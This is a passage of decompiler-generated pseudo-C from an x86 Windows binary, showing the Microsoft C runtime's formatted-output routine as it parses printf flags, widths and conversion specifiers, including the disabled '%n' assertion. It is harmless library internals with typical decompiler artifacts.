																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43ca60; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CA24))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf86dff92
																					E004246D0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xa86dfc78
																							E004246D0(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x886dfc7f
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE60(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE60(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428370(__ebp + 0x14);
																			__eax = E00433F20();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
